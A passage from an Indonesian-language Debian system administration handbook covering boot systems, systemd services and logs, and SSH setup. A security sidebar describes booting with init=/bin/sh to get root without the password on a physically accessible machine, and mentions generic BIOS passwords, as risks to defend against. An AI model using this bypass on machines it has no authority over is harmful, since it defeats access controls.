file-rc adalah sistem boot dengan proses yang sangat sederhana. Mempertahankan prinsip runlevel, tapi menggantikan direktori dan taut simbolik dengan sebuah berkas konfigurasi, yang mengindikasikan ke init proses-proses yang mesti dimulai dan urutan peluncuran mereka.

Sistem upstart belum diuji secara sempurna pada Debian. Itu berbasis kejadian: skrip-skrip init tidak lagi dijalankan berurutan tapi sebagai respon atas kejadian seperti misalnya selesai dijalankannya skrip lain yang menjadi ketergantungannya. Sistem ini, dimulai oleh Ubuntu, ada dalam Debian Jessie, tapi tidak baku; itu hadir, faktanya, sebagai pengganti sysvinit, dan satu dari tugas yang diluncurkan oleh upstrart adalah untuk meluncurkan skrip-skrip yang ditulis untuk sistem-sistem tradisional, khususnya yang dari paket sysv-rc.

Ada juga sistem-sistem lain dan mode-mode operasi lain, seperti misalnya runit atau minit, tapi mereka relatif khusus dan tidak meluas.

Gambar 9.1. Urutan boot dari komputer yang menjalankan Linux dengan systemd

KASUS SPESIFIK Boot dari jaringan

Dalam beberapa konfigurasi, BIOS mungkin dikonfigurasi untuk tidak menjalankan MBR, tapi untuk mencari yang setara di jaringan, sehingga memungkinkan untuk membangun komputer tanpa hard drive, atau yang sepenuhnya diinstal ulang pada setiap boot. Opsi ini tidak tersedia pada semua perangkat keras dan umumnya memerlukan kombinasi kartu BIOS dan jaringan yang sesuai.

Boot dari jaringan dapat digunakan untuk meluncurkan debian-installer atau FAI (lihat Bagian 4.1, “Metode Instalasi”.

KEMBALI KE DASAR Proses, suatu instansi program

Sebuah proses adalah representasi dalam memori dari suau program yang sedang berjalan. Ini mencakup semua informasi yang diperlukan untuk menjalankan perangkat lunak dengan benar (kode itu sendiri, juga data yang dimilikinya dalam memori, daftar berkas yang telah dibukanya, koneksi jaringan yang telah dijalin, dll.). Satu program dapat diinstansikan ke beberapa proses, tidak perlu berjalan di bawah ID pengguna yang berbeda.

KEAMANAN Memakai sebuah shell sebagai init untuk mendapatkan hak root

Menurut konvensi, proses pertama yang di-boot adalah program init (yang secara baku merupakan taut simbolik ke /lib/systemd/systemd). Namun, mungkin untuk melewatkan suatu opsi init ke kernel yang mengindikasikan suatu program lain.

Sebarang orang yang dapat mengakses komputer bisa menekan tombol Reset, dan sehingga me-reboot. Kemudian, pada prompt bootloader, mungkin untuk melewatkan opsi init=/bin/sh ke kernel untuk mendapatkan akses root tanpa mengetahui sandi administrator.

Untuk mencegah hal ini, Anda dapat melindungi bootloader sendiri dengan kata sandi. Anda juga mungkin berpikir tentang melindungi akses ke BIOS (mekanisme perlindungan sandi hampir selalu tersedia), yang tanpanya penyusup jahat masih bisa mem-boot mesin pada media lepas-pasang yang berisi sistem Linux sendiri, yang kemudian dapat digunakan untuk mengakses data pada hard drive komputer.

Akhirnya, sadarilah bahwa kebanyakan BIOS memiliki password generik. Awalnya dimaksudkan untuk pemecahan masalah bagi mereka yang telah lupa password, password ini sekarang umum dan tersedia di Internet (lihat sendiri dengan mencari "password BIOS generik" di mesin pencari). Semua perlindungan ini justru akan menghambat akses tidak sah ke mesin tanpa bisa sepenuhnya mencegah itu. Tidak ada cara yang handal untuk melindungi komputer jika penyerang dapat secara fisik mengakses mereka; mereka bisa melepas hard drive untuk menghubungkan mereka ke komputer di bawah kendali mereka sendiri, atau bahkan mencuri seluruh mesin, atau menghapus memori BIOS untuk me-reset password…

Systemd mengeksekusi beberapa proses, yang bertanggung jawab menyiapkan sistem: papan ketik, driver, sistem berkas, jaringan, layanan. Itu melakukan hal ini sambil menyimpan pandangan global sistem secara keseluruhan, serta kebutuhan komponen-komponen. Masing-masing komponen digambarkan oleh ”berkas unit” (kadang-kadang lebih); sintaks yang umum diturunkan dari sintaks ”berkas *.ini” yang banyak digunakan, dengan pasangan-pasangan kunci = nilai dikelompokkan antara header-header [section]. Berkas unit disimpan di bawah /lib/systemd/sistem/ dan /etc/systemd/system/; mereka datang dalam beberapa rasa, tapi kami akan fokus pada ”layanan” dan ”target” di sini.

Suatu ”berkas layanan” systemd menggambarkan proses yang dikelola oleh systemd. Itu kurang lebih berisi informasi yang sama seperti init-script gaya lama, tetapi dinyatakan dalam cara yang deklaratif (dan jauh lebih ringkas). Systemd menangani sebagian besar tugas-tugas yang berulang (memulai dan menghentikan proses, memeriksa status, mencatat log, menurunkan hak, dan sebagainya), dan berkas layanan hanya perlu mengisi spesifik dari proses. Sebagai contoh, berikut adalah berkas layanan untuk SSH:

[Unit]

Description=OpenBSD Secure Shell server

After=network.target auditd.service

ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]

EnvironmentFile=-/etc/default/ssh

ExecStart=/usr/sbin/sshd -D $SSHD_OPTS

ExecReload=/bin/kill -HUP $MAINPID

KillMode=process

Restart=on-failure

[Install]

WantedBy=multi-user.target

Alias=sshd.service

Seperti yang Anda lihat, ada sangat sedikit kode di sana, hanya deklarasi. Systemd mengurus penampilan laporan kemajuan, melacak proses, dan bahkan menjalankan ulang mereka bila diperlukan.

Suatu "berkas target" Systemd menggambarkan keadaan sistem, dimana satu set layanan diketahui beroperasi. Ini dapat dianggap sebagai setara runlevel gaya lama. Salah satu target adalah local-fs.target; ketika itu dicapai, sisa sistem bisa berasumsi bahwa seluruh sistem berkas lokal dikait dan dapat diakses. Target lain termasuk network-online.target dan sound.target. Dependensi target dapat dicantumkan baik dalam berkas target (di baris Requires), atau menggunakan symlink ke berkas layanan di direktori /lib/systemd/sistem/namatarget.target.wants/ . Sebagai contoh, /etc/systemd/system/printer.target.wants/ berisi taut ke /lib/systemd/system/cups.service; systemd karena itu akan memastikan CUPS berjalan untuk mencapai printer.target.

Karena berkas unit deklaratif, bukan skrip atau program, mereka tidak dapat dijalankan secara langsung, dan mereka hanya ditafsirkan oleh systemd; beberapa utilitas karena itu memungkinkan administrator untuk berinteraksi dengan systemd dan mengendalikan keadaan sistem dan setiap komponen.

Utilitas pertama yang seperti itu adalah systemctl. Ketika dijalankan tanpa argumen, itu menampilkan semua berkas unit yang dikenal systemd (kecuali yang dinonaktifkan), maupun status mereka. systemctl status memberikan pandangan yang lebih baik atas layanan, maupun proses-proses terkait. Bila nama yang diberikan pada suatu layanan (seperti dalam systemctl status ntp.service), itu bahkan mengembalikan lebih banyak rincian, maupun beberapa baris log terakhir yang terkait dengan layanan (lebih jauh tentang ini nanti).

Memulai suatu layanan secara manual hanya sekedar masalah menjalankan systemctl start namalayanan.service. Seperti dapat diduga, menghentikan layanan dilakukan dengan systemctl stop namalayanan.service; sub perintah lain termasuk reload dan restart.

Untuk mengendalikan apakah suatu layanan aktif (yaitu apakah itu akan secara otomatis dijalankan saat boot), gunakan systemctl enable namalayanan.service (atau disable). is-enabled memungkinkan memeriksa status layanan.

Fitur menarik dari systemd adalah bahwa itu menyertakan komponen log bernama journald. Datang sebagai pelengkap untuk sistem log yang lebih tradisional seperti syslogd, tetapi itu menambahkan fitur-fitur menarik seperti kaitan formal antara suatu layanan dan pesan-pesan yang dihasilkannya, dan kemampuan untuk menangkap pesan kesalahan yang dihasilkan oleh urutan inisialisasi. Pesan dapat ditampilkan kemudian, dengan sedikit bantuan dari perintah journalctl. Tanpa argumen, itu hanya memunculkan semua pesan log yang terjadi sejak boot sistem; itu akan jarang digunakan dengan cara demikian. Kebanyakan, itu akan digunakan dengan suatu tanda pengenal layanan:

# journalctl -u ssh.service

-- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. --

Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.

Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22.

Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting.

Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.

Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22.

Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2

Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Bendera baris perintah lain yang berguna adalah -f, yang memerintahkan journalctl untuk tetap menampilkan pesan baru seperti saat mereka dikeluarkan (seperti gaya tail -f berkas).

Jika suatu layanan tampaknya tidak bekerja seperti yang diharapkan, langkah pertama untuk memecahkan masalah adalah memeriksa apakah layanan memang sedang berjalan dengan systemctl status; jika tidak, dan pesan yang diberikan oleh perintah pertama tidak cukup untuk mendiagnosa masalah, periksa log yang dikumpulkan oleh journald tentang layanan tersebut. Sebagai contoh, asumsikan SSH server tidak bekerja:

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)

Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago

Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)

Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255)

Main PID: 1188 (code=exited, status=255)

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.

Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

# journalctl -u ssh.service

-- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. --

Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.

Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22.

Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting.

Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.

Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22.

Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2

Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.

Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

# vi /etc/ssh/sshd_config

# systemctl start ssh.service

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)

Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago

Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)

Main PID: 1222 (sshd)

CGroup: /system.slice/ssh.service

└─1222 /usr/sbin/sshd -D

#

Setelah memeriksa status layanan (gagal), kita melanjutkan memeriksa log; mereka menunjukkan satu kesalahan di berkas konfigurasi. Setelah menyunting berkas konfigurasi dan memperbaiki kesalahan, kita jalankan ulang layanan, kemudian memastikan bahwa itu memang berjalan.

LEBIH LANJUT Berkas unit tipe lain

Kami hanya menggambarkan kapabilitas systemd yang paling dasar dalam bagian ini. Itu menawarkan banyak fitur menarik lainnya; kami hanya akan mencantumkan beberapa di sini:

- aktivasi soket: suatu berkas unit "socket" dapat digunakan untuk menggambarkan sebuah jaringan atau soket Unix yang dikelola oleh systemd; ini berarti bahwa soket akan diciptakan oleh systemd, dan layanan yang sebenarnya dapat dimulai saat diminta ketika datang upaya koneksi sebenarnya. Ini kurang lebih mereplikasi set fitur inetd. Lihat systemd.socket(5).

- timer: suatu berkas unit "timer" menggambarkan peristiwa yang terjadi dengan frekuensi tetap atau pada waktu tertentu; ketika suatu layanan dikaitkan dengan sebuah timer, tugas terkait akan dijalankan setiap kali timer menembak. Hal ini memungkinkan mereplikasi sebagian dari fitur cron. Lihat systemd.timer(5).

- jaringan: suatu berkas unit "network" menjelaskan sebuah antarmuka jaringan, yang memungkinkan konfigurasi antarmuka tersebut serta mengungkapkan bahwa suatu layanan bergantung kepada satu antarmuka tertentu yang hidup.

9.1.2. Sistem init System V

Sistem init System V (yang akan kami namai init agar ringkas) mengeksekusi beberapa proses, mengikuti instruksi dari berkas /etc/inittab. Program pertama yang dijalankan (yang sesuai dengan langkah sysinit) adalah /etc/init.d/rcS, sebuah skrip yang menjalankan semua program di direktori /etc/rcS.d/.

Di antara ini, Anda akan menemukan berturut-turut program-program yang bertanggung jawab atas:

- mengkonfigurasi papan ketik konsol;

- memuat driver: sebagian besar modul kernel yang dimuat oleh kernel sendiri saat perangkat keras terdeteksi; driver tambahan kemudian dimuat secara otomatis ketika modul sesuai dicantumkan dalam /etc/modules;

- memeriksa integritas sistem berkas;

- mengait partisi lokal;

- mengkonfigurasi jaringan;

- mengait network filesystems (NFS).

KEMBALI KE DASAR Modul dan opsi kernel

Modul kernel juga memiliki pilihan yang dapat dikonfigurasi dengan menempatkan beberapa berkas dalam /etc/modprobe.d/. Pilihan ini ditentukan dengan perintah seperti ini: options nama-modul nama-opsi=nilai-opsi. Beberapa pilihan dapat dispesifikasikan dalam satu baris jika diperlukan.

Berkas konfigurasi ini ditujukan untuk modprobe — program yang memuat suatu modul kernel dengan dependensinya (modul memang dapat memanggil modul lain). Program ini disediakan oleh paket kmod.

Setelah tahap ini, init mengambil alih dan memulai program-program yang diaktifkan pada runlevel default (yang biasanya runlevel 2). Itu mengeksekusi /etc/init.d/rc 2, skrip yang memulai semua layanan yang tercantum dalam /etc/rc2.d/ dan nama-nama yang mulai dengan huruf "S". Nomor dua-angka yang mengikuti secara historis digunakan untuk menentukan urutan dimulainya layanan, tetapi saat ini sistem boot default menggunakan insserv, yang menjadwalkan semuanya secara otomatis berdasarkan dependensi skrip. Setiap skrip boot dengan demikian menyatakan kondisi yang harus dipenuhi untuk memulai atau menghentikan layanan (misalnya, jika itu harus dimulai sebelum atau setelah layanan lain); init kemudian meluncurkan mereka dalam urutan yang memenuhi kondisi ini. Penomoran statis skrip karena itu tidak lagi dipertimbangkan (tapi mereka selalu harus mempunyai awal nama dengan "S" diikuti oleh dua digit dan nama sebenarnya dari skrip yang digunakan untuk dependensi). Umumnya, layanan dasar (seperti log dengan rsyslog), atau penugasan port dengan portmap yang mulai pertama, diikuti oleh layanan-layanan standar dan antarmuka grafis (gdm3).

Sistem boot berbasis ketergantungan ini memungkinkan mengotomatisasi penomoran ulang, yang bisa menjadi membosankan jika itu harus dilakukan secara manual, dan itu jadi membatasi resiko kesalahan manusia, karena penjadwalan dilakukan berdasarkan parameter yang ditunjukkan. Manfaat lain adalah bahwa layanan dapat dimulai secara paralel ketika mereka independen dari yang lain, yang dapat mempercepat proses boot.

init membedakan beberapa runlevel, sehingga ia dapat beralih dari satu ke yang lain dengan perintah telinit level-baru. Seketika, init mengeksekusi /etc/init.d/rc lagi dengan runlevel baru. Skrip ini kemudian akan memulai pelayanan yang kurang dan menghentikan yang tidak diinginkan. Untuk melakukan ini, mengacu pada isi /etc/rc X .d (dimana X mewakili runlevel baru). Skrip yang dimulai dengan "S" (seperti dalam "Start") adalah layanan yang akan dijalankan; yang dimulai dengan "K" (seperti "Kill") adalah layanan yang harus dihentikan. Skrip tidak memulai layanan apapun yang sudah aktif pada runlevel sebelumnya.

Secara default, init System V dalam Debian menggunakan empat runlevels yang berbeda:

- Level 0 hanya digunakan sementara, ketika komputer menuju mati. Dengan demikian, itu hanya berisi banyak skrip "K".

- Level 1, juga dikenal sebagai mode pengguna tunggal, berkaitan dengan sistem dalam mode terdegradasi; itu termasuk hanya layanan dasar, dan ditujukan untuk operasi pemeliharaan dimana interaksi dengan pengguna biasa tidak diinginkan.

- Level 2 adalah tingkat untuk operasi normal, yang mencakup layanan jaringan, antarmuka grafis, pengguna login, dll.

- Level 6 ini mirip dengan tingkat 0, kecuali bahwa itu digunakan selama fase shutdown yang mendahului reboot.

Ada tingkat lain, terutama 3-5. Secara default mereka telah dikonfigurasi untuk beroperasi dengan cara yang sama sebagai tingkat 2, namun administrator dapat memodifikasi mereka (dengan menambahkan atau menghapus skrip di direktori /etc/rcX.d yang sesuai) untuk beradaptasi atas kebutuhan tertentu.

Gambar 9.2. Urutan boot dari komputer yang menjalankan Linux dengan init System V

Semua skrip yang terkandung dalam berbagai direktori /etc/rcX.d benar-benar hanya link simbolik — dibuat saat instalasi paket oleh program update-rc.d — menunjuk ke skrip sebenarnya yang disimpan dalam /etc/init.d/. Administrator dapat menala layanan yang tersedia pada masing-masing runlevel dengan kembali menjalankan update-rc.d dengan parameter yang disesuaikan. Halaman manual update-rc.d(1) menjelaskan sintaks secara rinci. Harap dicatat bahwa menghapus semua link simbolik (dengan parameter remove) bukanlah metode yang baik untuk menonaktifkan layanan yang ada. Sebaliknya Anda hanya harus mengkonfigurasi itu untuk tidak mulai berjalan pada runlevel yang diinginkan (sambil mempertahankan panggilan yang sesuai untuk menghentikannya apabila layanan berjalan pada runlevel sebelumnya). Karena update-rc.d memiliki antarmuka yang agak rumit, Anda mungkin lebih suka menggunakan rcconf (dari paket rcconf) yang menyediakan antar muka yang lebih mudah dipakai.

KEBIJAKAN DEBIAN Restart layanan

Skrip pengelola paket Debian kadang-kadang akan me-restart layanan tertentu untuk memastikan ketersediaan mereka atau membuat mereka memperhitungkan opsi tertentu. Perintah yang mengontrol layanan — service layanan operasi — tidak mempertimbangkan runlevel, (salah) mengasumsikan bahwa layanan ini sedang digunakan, dan mungkin dengan demikian memulai operasi salah (memulai layanan yang sengaja dihentikan, atau menghentikan layanan yang sudah dihentikan, dll.). Maka Debian memperkenalkan program invoke-rc.d: program ini harus digunakan oleh pengelola skrip untuk menjalankan skrip inisialisasi layanan dan itu hanya akan menjalankan perintah yang diperlukan. Catat bahwa, bertentangan dengan penggunaan umum, akhiran .d yang digunakan di sini di dalam nama program, dan bukan dalam sebuah direktori.

Akhirnya, init memulai program kontrol untuk berbagai konsol virtual (getty). Menampilkan sebuah prompt, menunggu nama pengguna, kemudian mengeksekusi login pengguna untuk memulai sesi.

KOSA KATA Konsol dan terminal

Komputer pertama biasanya dipisahkan menjadi beberapa bagian yang sangat besar: kandang penyimpanan dan unit pemroses sentral yang terpisah dari perangkat periferal yang digunakan oleh operator untuk mengendalikan mereka. Ini adalah bagian dari furnitur yang terpisah, "konsol". Istilah ini dipertahankan, tapi artinya berubah. Hal ini kurang lebih identik dengan "terminal", karena berupa sebuah papan ketik dan suatu layar.

Dengan perkembangan komputer, sistem operasi telah menawarkan beberapa konsol virtual untuk memungkinkan beberapa sesi independen pada saat yang sama, bahkan jika ada hanya satu papan ketik dan layar. Kebanyakan sistem GNU/Linux menawarkan enam virtual konsol (dalam modus teks), dapat diakses dengan mengetikkan kombinasi tombol Control+Alt+F1 sampai Control+Alt+F6.

Diperluas, istilah "konsol" dan "terminal" juga dapat merujuk ke emulator terminal dalam sesi X11 grafis (seperti misalnya xterm, gnome-terminal, atau konsole).

9.2. Log Masuk Jarak Jauh

Sangat penting bagi administrator untuk dapat menyambung ke suatu komputer dari jarak jauh. Server, dikurung dalam kamar mereka sendiri, jarang dilengkapi dengan papan ketik dan monitor permanen — tetapi mereka terhubung ke jaringan.

KEMBALI KE DASAR Klien, server

Sebuah sistem yang beberapa prosesnya berkomunikasi satu sama lain sering digambarkan dengan metafora "klien/server". Server adalah program yang mengambil permintaan yang datang dari klien dan mengeksekusi mereka. Ini adalah klien yang mengendalikan operasi, server tidak mengambil setiap inisiatif sendiri.

9.2.1. Login Jarak Jauh Aman: SSH

Protokol SSH (Secure SHell) dirancang dengan keamanan dan kehandalan. Koneksi yang menggunakan SSH aman: mitra diotentikasi dan semua pertukaran data dienkripsi.

BUDAYA Telnet dan RSH itu usang

Sebelum SSH, Telnet dan RSH adalah alat utama yang digunakan untuk login jarak jauh. Mereka sekarang sebagian besar usang dan sebaiknya tidak lagi digunakan bahkan walaupun Debian masih menyediakan mereka.

KOSAKATA Otentikasi, enkripsi

Ketika Anda perlu memberikan klien kemampuan untuk melakukan atau memicu tindakan pada server, keamanan penting. Anda harus memastikan identitas dari klien; ini adalah otentikasi. Identitas ini biasanya terdiri dari password yang harus dirahasiakan, atau klien lain jadi bisa mendapatkankan password tersebut. Ini adalah tujuan dari enkripsi, yang merupakan bentuk enkoding yang memungkinkan dua sistem untuk mengkomunikasikan informasi rahasia pada saluran umum sekaligus melindungi dari dapat dibaca oleh orang lain.

Otentikasi dan enkripsi sering disebut bersama, baik karena mereka sering digunakan bersama-sama, dan karena mereka biasanya diimplementasikan dengan konsep-konsep matematika yang serupa.

SSH juga menawarkan dua layanan transfer berkas. SCP adalah alat baris perintah yang dapat digunakan seperti cp, kecuali bahwa sebarang path ke mesin lain diawali dengan nama mesin, diikuti oleh titik dua.

$ scp berkas mesin:/tmp/

sftp adalah perintah yang interaktif, mirip dengan ftp. Dalam satu sesi, sftp dapat mentransfer beberapa berkas, dan mungkin untuk memanipulasi berkas remote dengannya (menghapus, mengubah nama, mengubah hak akses, dll).

Debian menggunakan OpenSSH, sebuah SSH versi gratis yang dikelola oleh proyek OpenBSD (sistem operasi bebas berbasis pada kernel BSD, berfokus pada keamanan) dan fork dari perangkat lunak SSH asli yang dikembangkan oleh perusahaan SSH Communication Corp, dari Finlandia. Perusahaan ini awalnya mengembangkan SSH sebagai perangkat lunak bebas, tetapi akhirnya memutuskan untuk melanjutkan perkembangan di bawah lisensi tak bebas. Proyek OpenBSD kemudian menciptakan OpenSSH untuk mempertahankan versi gratis dari SSH.

KEMBALI KE DASAR Fork

"Fork", dalam bidang perangkat lunak, berarti sebuah proyek baru yang dimulai sebagai klon dari proyek yang sudah ada, dan akan bersaing dengannya. Dari sana, kedua perangkat lunak biasanya cepat akan menyimpang dalam hal perkembangan baru. Fork ini sering merupakan akibat dari perselisihan dalam tim pengembangan.

Pilihan untuk melakukan fork atas sebuah proyek adalah akibat langsung dari sifat perangkat lunak bebas; fork merupakan kejadian yang sehat saat itu memungkinkan keberlanjutan proyek sebagai perangkat lunak bebas (misalnya dalam kasus perubahan lisensi). Sebuah fork yang timbul dari perselisihan teknis atau pribadi sering membuang-buang sumber daya manusia; resolusi lain akan lebih baik. Merger dua proyek yang sebelumnya mengalami fork bukan tidak pernah terjadi.

OpenSSH dipecah menjadi dua paket: bagian klien dalam paket openssh-client, dan server dalam paket openssh-server. Meta-paket ssh bergantung pada kedua bagian dan memfasilitasi instalasi keduanya (apt install ssh).

9.2.1.1. Otentikasi Berbasis Kunci

Setiap kali seseorang log masuk melalui SSH, server remote meminta password untuk mengotentikasi pengguna. Ini bisa menjadi bermasalah jika Anda ingin mengotomatisasi sambungan, atau jika Anda menggunakan alat yang membutuhkan koneksi sering melalui SSH. Inilah sebabnya mengapa SSH menawarkan sistem otentikasi berbasis kunci.

Pengguna membuat sepasang kunci pada mesin klien dengan ssh-keygen-t rsa; kunci publik disimpan dalam ~/.ssh/id_rsa.pub, sementara kunci privat disimpan dalam ~/.ssh/id_rsa. Pengguna kemudian menggunakan ssh-copy-id server untuk menambahkan kunci publik mereka ke berkas ~/.ssh/authorized_keys pada server. Jika kunci privat tidak dilindungi dengan "frasa sandi" pada saat penciptaan, semua login berikutnya pada server akan bekerja tanpa kata sandi. Sebaliknya, kunci pribadi harus didekripsi setiap kali dengan memasukkan kata sandi. Untungnya, ssh-agent memungkinkan kita untuk menjaga kunci privat dalam memori untuk tidak perlu secara teratur memasukkan kembali kata sandi. Untuk ini, Anda hanya menggunakan ssh-add (sekali per sesi) asalkan sesi sudah terkait dengan instansi fungsional ssh-agent. Debian mengaktifkannya secara default dalam sesi grafis, tapi ini dapat dinonaktifkan dengan mengubah /etc/X11/Xsession.options. Untuk sesi konsol, Anda dapat secara manual memulainya dengan eval $(ssh-agent).

KEAMANAN Perlindungan kunci privat

Barangsiapa memiliki kunci privat tersebut dapat login di akun yang dikonfigurasi. Inilah sebabnya mengapa akses ke kunci privat dilindungi oleh "frasa sandi". Seseorang yang memperoleh salinan berkas kunci pribvat (misalnya, ~/.ssh/id_rsa) masih harus tahu frasa ini agar dapat menggunakannya. Perlindungan tambahan ini tidak anti tembus, dan jika Anda berpikir bahwa berkas ini telah dikompromikan, paling baik untuk menonaktifkan kunci tersebut pada komputer tempat itu telah diinstal (dengan menghapus dari berkas authorized_keys) dan menggantikannya dengan kunci baru yang dibuat.

KULTUR Cacat OpenSSL dalam Debian Etch

Pustaka OpenSSL, sebagaimana awalnya disediakan di Debian Etch, memiliki masalah yang serius dalam pembangkit angka acak (RNG). Memang, pengelola Debian telah membuat perubahan sehingga aplikasi yang menggunakan itu tidak lagi menghasilkan peringatan ketika dianalisis oleh alat pengujian memori seperti valgrind. Sayangnya, perubahan ini juga berarti bahwa RNG hanya mempekerjakan salah satu sumber entropi sesuai dengan nomor proses (PID) yang 32.000 kemungkinan nilainya tidak menawarkan cukup keacakan.

→ https://www.debian.org/security/2008/dsa-1571

Secara khusus, setiap kali OpenSSL digunakan untuk menghasilkan sebuah kunci, itu selalu menghasilkan kunci dalam kumpulan ratusan ribu kunci yang dikenal (32.000 dikalikan dengan sejumlah kecil panjang kunci). Ini mempengaruhi kunci SSH, kunci SSL, dan sertifikat X.509 yang digunakan oleh banyak aplikasi, seperti misalnya OpenVPN. Seorang cracker hanya perlu mencoba semua kunci untuk mendapatkan akses yang tidak sah. Untuk mengurangi dampak dari masalah, SSH daemon diubah untuk menolak bermasalah kunci yang tercantum dalam paket openssh-blacklist dan openssh-blacklist-extra. Selain itu, perintah ssh-vulnkey memungkinkan identifikasi kunci yang mungkin terkompromikan dalam sistem.

Analisis lebih mendalam terhadap kejadian ini mengungkap bahwa itu adalah hasil dari beberapa masalah (kecil), baik dalam proyek OpenSSL dan dengan para pengelola paket Debian. Sebuah perpustakaan yang banyak digunakan seperti OpenSSL harus — tanpa modifikasi — tidak menghasilkan peringatan saat diuji oleh valgrind. Selain itu, kode (terutama bagian RNG yang sensitif) harus memuat komentar yang lebih baik untuk mencegah kesalahan tersebut. Di sisi Debian, pengelola ingin memvalidasi modifikasi dengan pengembang OpenSSL, tetapi hanya menjelaskan modifikasi tanpa memberikan patch yang sesuai untuk ditinjau dan gagal untuk menyebutkan perannya dalam Debian. Akhirnya, pilihan-pilihan perawatan sub-optimal: perubahan yang dibuat ke kode asli tidak didokumentasikan jelas; semua modifikasi secara efektif tersimpan dalam repositori Subversion, tapi mereka akhirnya semua digabung ke dalam satu patch selama penciptaan sumber paket.

Sulit dalam kondisi seperti ini untuk menemukan tindakan korektif demi mencegah insiden tersebut dari berulang. Pelajaran yang bisa dipetik di sini adalah bahwa setiap perbedaan yang diperkenalkan Debian ke perangkat lunak hulu harus dijustifikasi, didokumentasikan, diserahkan kepada proyek hulu bila mungkin, dan dipublikasikan secara luas. Dari perspektif inilah format paket sumber baru ("3.0 (quilt)") dan layanan web sumber Debian dikembangkan.

→ https://sources.debian.net

9.2.1.2. Menggunakan Aplikasi-aplikasi X11 Jarak Jauh

Protokol SSH memungkinkan penerusan data grafis (sesi "X11", dari nama sistem grafis yang paling terkenal di Unix); server kemudian mempertahankan saluran khusus untuk data tersebut. Secara khusus, program grafis yang dijalankan dari jarak jauh dapat ditampilkan pada layar lokal server XFree86, dan seluruh sesi (masukan dan tampilan) akan aman. Karena fitur ini memungkinkan aplikasi remote untuk mengganggu sistem lokal, ini dinonaktifkan secara default. Anda dapat mengaktifkannya dengan menetapkan X11Forwarding yes di berkas konfigurasi server (/etc/ssh/sshd_config). Akhirnya, pengguna juga harus memintanya dengan menambahkan opsi -X untuk baris perintah ssh.

9.2.1.3. Menciptakan Tunnel Terenkripsi dengan Penerusan Port

Opsi -R dan -L memungkinkan ssh untuk menciptakan "terowongan terenkripsi" antara dua mesin, secara aman meneruskan port TCP lokal (lihat sidebar KEMBALI KE DASAR TCP/UDP) ke mesin remote atau sebaliknya.

KOSAKATA Tunnel

